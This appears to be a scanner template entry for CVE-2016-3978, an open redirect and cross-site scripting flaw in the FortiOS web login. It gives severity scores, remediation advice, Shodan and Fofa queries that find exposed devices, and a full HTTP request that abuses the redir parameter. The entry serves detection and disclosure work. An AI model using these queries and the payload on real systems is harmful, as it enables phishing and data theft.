| Title | Fortinet FortiOS - Open Redirect/Cross-Site Scripting |
|---|---|
| Author | 0x_Akoko |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could lead to unauthorized access, phishing attacks, and potential data theft. |
| Remediation | Apply the latest security patches and updates provided by Fortinet to mitigate the vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.05549 |
| CVE ID | CVE-2016-3978 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:"/remote/login" "xxxxxxxx"http.favicon.hash:945408572cpe:"cpe:2.3:o:fortinet:fortios"port:10443 http.favicon.hash:945408572 |
| Fofa Query | body="/remote/login" "xxxxxxxx"icon_hash=945408572 |
| Tags | cve2016 cve redirect fortinet fortios seclists vuln |
FortiOS Web User Interface in 5.0.x before 5.0.13, 5.2.x before 5.2.3, and 5.4.x before 5.4.0 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks or cross-site scripting attacks via the “redirect” parameter to “login.”
GET /login?redir=http://www.interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.5.20
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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